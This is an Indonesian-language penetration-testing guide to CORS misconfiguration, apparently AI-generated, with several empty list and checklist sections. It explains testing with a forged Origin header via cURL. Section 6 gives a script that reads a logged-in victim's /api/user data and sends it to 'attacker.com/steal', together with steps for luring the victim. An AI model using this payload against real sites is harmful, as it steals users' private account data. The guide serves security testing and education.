Cross-Origin Resource Sharing (CORS)

Generated by: Deepseek

Daftar Isi


1. Pengertian Kerentanan CORS

CORS (Cross-Origin Resource Sharing) adalah mekanisme yang memungkinkan server web secara eksplisit mengizinkan permintaan lintas-asal dari domain tertentu. Kerentanan CORS muncul ketika server salah dikonfigurasi sehingga memercayai asal yang tidak diverifikasi atau dikendalikan penyerang, akibatnya Same-Origin Policy (SOP) dilanggar dan situs jahat dapat membaca data sensitif atau melakukan perubahan state atas nama korban.

Dampak umum:

2. Cara Kerja CORS

Permintaan lintas-asal (misal dari attacker.com ke api.target.com) menyebabkan browser mengirimkan header Origin. Server merespons dengan:

Jika Access-Control-Allow-Origin yang dikembalikan sama dengan (atau mencerminkan) asal peminta dan browser mengizinkannya, respons tersebut dibagikan lintas-asal.

Pola rentan: Server secara membabi buta menyalin nilai Origin, misalnya Access-Control-Allow-Origin: https://attacker.com.

3. Karakteristik Kesalahan Konfigurasi CORS

Karakteristik Deskripsi
Refleksi Origin Nilai Access-Control-Allow-Origin disalin secara dinamis dari header Origin tanpa validasi.
Penerimaan null origin Origin: null diizinkan (dapat dipalsukan oleh iframe ter-sandbox atau file lokal).
Wildcard dengan kredensial Access-Control-Allow-Origin: * bersama Access-Control-Allow-Credentials: true – tidak sah menurut spesifikasi tetapi beberapa server salah mengimplementasikannya.
Regex subdomain yang lemah Memercayai *.target.com tetapi menggunakan pencocokan pola lemah (misal target.com$attackertarget.com).
Penurunan protokol Menerima http:// padahal aplikasi menggunakan HTTPS.
Salah konfigurasi preflight Mengizinkan metode berbahaya (PUT, DELETE) atau header (X-Custom-Auth) tanpa validasi ketat.

4. Cara Menemukan dan Mendeteksi Masalah CORS

Pengujian Manual (DevTools Browser + cURL)

  1. Intersep permintaan ke endpoint target yang mengembalikan data sensitif (contoh: /api/user).
  2. Ubah header Origin dalam permintaan ulang (menggunakan Burp Repeater, Postman, atau cURL):
    curl -X GET https://api.target.com/user \
      -H "Origin: https://attacker.com" \
      -H "Cookie: session=xyz" \
      -v
    
  3. Periksa header respons:
    • Access-Control-Allow-Origin: https://attacker.com → terjadi refleksi.
    • Access-Control-Allow-Credentials: true → kredensial diizinkan.
    • Jika keduanya ada dan asal yang direfleksikan cocok dengan asal penyerang, endpoint tersebut rentan.

Alat Otomatis

Daftar Deteksi untuk Penguji Penetrasi


5. Daftar Periksa Pengujian CORS

Gunakan kotak centang berikut selama pengujian. Setiap item menyertakan detail teknis dan upaya bypass.

5.1 Refleksi Origin

5.2 Penanganan Kredensial

5.3 Penanganan Preflight

5.4 Penggunaan Wildcard

5.5 Kepercayaan Subdomain

5.6 Penilaian Dampak

5.7 Verifikasi Perbaikan


6. Pertimbangan Teknis Tambahan

Bypass Preflight melalui “Permintaan Sederhana”

Permintaan lintas-asal dianggap sederhana (tanpa preflight) jika:

Oleh karena itu, meskipun preflight ketat, endpoint rentan dengan refleksi Access-Control-Allow-Origin tetap dapat dieksploitasi melalui form POST sederhana.

Bahaya Origin null

Origin null dapat dihasilkan oleh:

CORS vs CSRF

Cara Eksploitasi dalam Pengujian Nyata

  1. Buat halaman HTML berisi:
    <script>
      fetch('https://vulnerable.target.com/api/user', {
        credentials: 'include'
      }).then(r => r.text()).then(data => fetch('https://attacker.com/steal?data='+btoa(data)))
    </script>
    
  2. Bujuk korban yang sudah login untuk membuka halaman tersebut.
  3. Amati data yang dicuri tiba di server Anda.

Deteksi Menggunakan Konsol Browser

Buka konsol browser korban (jika Anda bisa) dan jalankan:

fetch('https://api.target.com/endpoint', {credentials: 'include'})
  .then(r => console.log(r.headers.get('access-control-allow-origin')));

Jika menampilkan * atau null atau asal Anda sendiri, kebijakan tersebut bersifat refleksif.